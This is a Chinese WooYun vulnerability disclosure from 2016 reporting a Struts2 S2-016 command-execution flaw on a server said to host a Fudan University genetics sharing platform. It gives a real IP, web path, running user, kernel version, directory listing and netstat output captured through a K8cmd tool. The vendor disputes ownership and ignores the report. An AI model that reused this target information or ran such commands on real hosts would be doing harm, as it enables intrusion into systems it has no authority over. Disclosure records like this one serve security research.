漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0180684
漏洞标题：复旦大学遗传信息共享平台struts2漏洞
相关厂商：复旦大学
漏洞作者： 路人甲
提交时间：2016-03-03 23:33
修复时间：2016-03-04 01:04
公开时间：2016-03-04 01:04
漏洞类型：命令执行
危害等级：高
自评Rank：11
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-03-03： 细节已通知厂商并且等待厂商处理中
2016-03-04： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
通用测试漏洞，发现该漏洞存在。
详细说明：
Target: http://61.152.171.123:8888/hereditary_sharing/welcome/welcome.action
Useage: S2-016
Whoami: syyang
WebPath: /local/home/syyang/tomcat/tomcat-6.0.18-new/apache-tomcat-6.0.18/webapps/hereditary_sharing/
====================================================================================================================================
漏洞证明：
Target: http://61.152.171.123:8888/hereditary_sharing/welcome/welcome.action
Useage: S2-016
Whoami: syyang
WebPath: /local/home/syyang/tomcat/tomcat-6.0.18-new/apache-tomcat-6.0.18/webapps/hereditary_sharing/
====================================================================================================================================
★K8cmd-> whoami
====================================================================================================================================
syyang
★K8cmd-> uname -r
====================================================================================================================================
2.6.9-55.ELsmp
★K8cmd-> ls
====================================================================================================================================
bootstrap.jar
C:
catalina.bat
catalina.sh
catalina-tasks.xml
commons-daemon.jar
cpappend.bat
D:
digest.bat
digest.sh
docs
E:
jsvc.tar.gz
service.bat
setclasspath.bat
setclasspath.sh
sharingLog
shutdown.bat
shutdown.sh
startup.bat
startup.sh
tissueBackLog
tomcat6.exe
tomcat6w.exe
tomcat-juli.jar
tomcat-native.tar.gz
tool-wrapper.bat
tool-wrapper.sh
upload
version.bat
version.sh
★K8cmd-> netstat -an
====================================================================================================================================
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:878 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:631 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 127.0.0.1:38447 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38572 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38573 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38574 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38568 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38569 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38570 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38571 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38567 ESTABLISHED
tcp 0 0 127.0.0.1:3306 127.0.0.1:38562 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:8005 :::* LISTEN
tcp 0 0 :::8009 :::* LISTEN
tcp 0 0 :::6000 :::* LISTEN
tcp 0 0 :::22 :::* LISTEN
tcp 0 0 :::8888 :::* LISTEN
tcp 0 0 ::ffff:10.10.11.99:8888 ::ffff:106.186.113.12:14766 ESTABLISHED
tcp 1 0 ::ffff:127.0.0.1:34303 ::ffff:127.0.0.1:3306 CLOSE_WAIT
tcp 1 0 ::ffff:127.0.0.1:34302 ::ffff:127.0.0.1:3306 CLOSE_WAIT
tcp 1 0 ::ffff:127.0.0.1:34301 ::ffff:127.0.0.1:3306 CLOSE_WAIT
tcp 1 0 ::ffff:127.0.0.1:34300 ::ffff:127.0.0.1:3306 CLOSE_WAIT
tcp 0 0 ::ffff:127.0.0.1:38447 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:10.10.11.99:8888 ::ffff:106.186.113.12:14728 TIME_WAIT
tcp 0 0 ::ffff:127.0.0.1:38562 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38567 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38568 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38569 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38570 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38571 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38572 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38573 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:127.0.0.1:38574 ::ffff:127.0.0.1:3306 ESTABLISHED
tcp 0 0 ::ffff:10.10.11.99:8888 ::ffff:106.186.113.12:14704 TIME_WAIT
tcp 0 0 ::ffff:10.10.11.99:8888 ::ffff:106.186.113.12:14660 TIME_WAIT
tcp 0 0 ::ffff:10.10.11.99:8888 ::ffff:106.186.113.12:14647 TIME_WAIT
udp 0 0 0.0.0.0:872 0.0.0.0:*
udp 0 0 0.0.0.0:875 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
udp 0 0 0.0.0.0:631 0.0.0.0:*
Active UNIX domain sockets (servers an
修复方案：
修复。。
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2016-03-04 01:04
厂商回复：
最新状态：
2016-03-04：并非复旦大学所属
2016-03-04：站点信息类似测试站点，并无公开服务迹象。